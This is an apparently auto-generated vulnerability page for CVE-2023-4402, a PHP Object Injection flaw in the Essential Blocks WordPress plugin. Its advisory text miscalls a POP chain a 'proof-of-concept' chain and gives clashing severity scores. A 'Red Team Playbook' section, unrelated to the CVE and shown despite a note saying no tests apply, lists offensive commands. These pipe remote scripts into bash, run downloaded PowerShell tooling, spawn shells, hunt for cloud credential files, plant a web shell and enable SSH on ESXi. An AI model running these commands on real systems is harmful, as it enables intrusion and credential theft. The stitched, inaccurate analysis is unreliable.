CVE-2023-4402
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input within the get_products function of the Essential Blocks plugin for WordPress. The root cause lies in the plugin's failure to properly validate or sanitize serialized PHP objects before deserialization, affecting versions up to and including 4.2.0. The vulnerable component is the get_products method in the plugin's API handling product data.
Vulnerability Description
The Essential Blocks plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.2.0 via deserialization of untrusted input in the get_products function. This allows unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to inject PHP objects, potentially leading to arbitrary file deletion, sensitive data exposure, or remote code execution if a suitable POP chain exists in the environment. No user interaction or authentication is required (AV:N/AC:H/PR:N/UI:N), but the attack complexity is high due to the need for an exploitable POP chain outside the plugin. This can result in significant compromise of the WordPress site’s confidentiality, integrity, and availability.
Solution
Users should upgrade the Essential Blocks plugin to a version later than 4.2.0 where this vulnerability is addressed. Detailed patch instructions and mitigation steps are available from Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/1ede7a25-9bb2-408e-b7fb-e5bd4f594351. No official advisory ID is provided, but the vendor’s updated plugin version contains the fix. Removing or disabling the vulnerable plugin until patched is recommended if immediate update is not feasible.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Essential Blocks plugin for WordPress arises from a flaw in the deserialization process within the get_products function. This issue allows for PHP Object Injection, which occurs when untrusted input is deserialized into PHP objects. The vulnerability is particularly critical due to its potential for exploitation by unauthenticated attackers. When an attacker can manipulate the input to this function, they can inject malicious PHP objects into the application. Although the vulnerable plugin does not contain a proof-of-concept (POP) chain, the risk escalates significantly when combined with other plugins or themes that may facilitate such a chain, potentially leading to severe consequences.
Attack vectors for this vulnerability are straightforward yet alarming. An attacker could craft a specially designed request to the vulnerable function, exploiting the deserialization flaw to inject a PHP object. This could be done through various means, such as sending a malicious payload via a web form or API endpoint that interacts with the get_products function. If the target system has other vulnerable components, such as additional plugins or themes that allow for the execution of arbitrary code, the attacker could escalate their access. This could result in the deletion of critical files, unauthorized data retrieval, or even remote code execution, thereby compromising the integrity and confidentiality of the entire WordPress installation.
The real-world impact of this vulnerability is substantial, particularly for businesses relying on WordPress for their online presence. Given the high CVSS score of 9.8, the risk is categorized as critical, indicating that successful exploitation could lead to significant operational disruptions. An attacker gaining access to sensitive data or executing malicious code could not only compromise user information but also damage the organization's reputation and trustworthiness. Moreover, the financial implications of a data breach, including potential regulatory fines and recovery costs, can be devastating for businesses, especially small to medium-sized enterprises that may lack robust cybersecurity measures.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the Essential Blocks plugin and any other associated components is crucial to ensure that known vulnerabilities are patched. Implementing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of security against exploitation attempts. Furthermore, conducting routine security audits and vulnerability assessments can aid in identifying and addressing potential weaknesses in the system before they can be exploited. Educating staff about secure coding practices and the importance of validating and sanitizing user input can also significantly reduce the risk of similar vulnerabilities in the future.
In conclusion, the PHP Object Injection vulnerability in the Essential Blocks plugin poses a significant threat to WordPress installations. The potential for exploitation by unauthenticated attackers, coupled with the risk of a POP chain through other plugins or themes, highlights the need for immediate attention and remediation. Organizations must prioritize vulnerability management, implement robust security measures, and foster a culture of security awareness to safeguard their digital assets against such critical threats.
Recent adjustments to the CVSS scoring for CVE-2023-4402 have lowered its base severity from 9.8 to 8.1, reflecting a refined understanding of the vulnerability’s exploitability and impact. Concurrently, the Exploit Prediction Scoring System (EPSS) value has experienced a modest increase, indicating a slight uptick in the likelihood of exploitation attempts as observed through CSURFACE threat intelligence. Although no new proof-of-concept exploits or active exploitation campaigns have been detected by our telemetry, the incremental rise in EPSS suggests that adversaries may be incrementally shifting focus toward this vulnerability. This nuanced change underscores the importance of continuous monitoring, as the absence of direct exploit activity does not preclude emerging attack vectors, especially given the plugin’s widespread deployment and the potential for chained exploitation via additional components. Consequently, while the lowered CVSS score marginally reduces the perceived criticality, the evolving exploitability landscape maintains a high-risk posture that defenders must acknowledge to effectively prioritize detection and response efforts.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpdeveloper | Essential Blocks | All |
cpe:2.3:a:wpdeveloper:essential_blocks:*:*:*:*:*:wordpress:*:*
|
|
|
Wpdeveloper | Essential Blocks Pro | All |
cpe:2.3:a:wpdeveloper:essential_blocks_pro:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4402 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/1ede7a25-9bb2-408e-b7fb-e5bd4f594351?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/essential-blocks/trunk/includes/API/Product.php?rev=2950425#L49 |